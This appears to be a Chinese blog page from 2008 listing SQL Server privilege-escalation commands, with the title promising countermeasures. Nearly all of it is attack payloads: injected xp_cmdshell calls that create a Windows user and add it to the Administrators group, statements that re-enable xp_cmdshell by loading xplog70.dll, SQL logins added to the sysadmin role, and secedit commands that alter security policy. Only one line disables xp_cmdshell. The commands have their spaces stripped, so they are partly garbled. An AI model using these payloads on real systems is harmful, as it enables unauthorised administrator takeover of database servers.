您的位置:首页 > 其它

提升权限相关命令及防范

2008-04-28 11:07 246 查看
;execmaster..xp_cmdshell"netusernamepassword/add"--
;execmaster..xp_cmdshell"netlocalgroupadministratorsname/add"--
程序代码开启cmdshell的SQL语句
EXECsp_addextendedprocxp_cmdshell,@dllname='xplog70.dll'
判断存储扩展是否存在
selectcount(*)frommaster.dbo.sysobjectswherextype='X'andname='xp_cmdshell'
返回结果为1就OK
恢复xp_cmdshell
Execmaster.dbo.addextendedproc'xp_cmdshell','xplog70.dll';selectcount(*)frommaster.dbo.sysobjectswherextype='X'andname='xp_cmdshell'
返回结果为1就OK
否则上传xplog7.0.dll
Execmaster.dbo.addextendedproc'xp_cmdshell','C:/WinNt/System32/xplog70.dll'
堵上cmdshell的SQL语句
sp_dropextendedproc"xp_cmdshell"

:
dirc:/
dird:/
dire:/
netuserTsInternetUsersPassword/add
netlocalGroupAdministratorsTsInternetUsers/add
备份恢复IPSEC
secedit/export/CFGc:/tmp.inf
echosedenynetworklogonright=>>c:/tmp.inf
secedit/configure/dbc:/windows/secedit.sdb/CFGc:/tmp.inf
SQL:
execmaster..sp_addloginUserName,Password
execmaster..sp_addsrvrolememberUserName,sysadmin
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: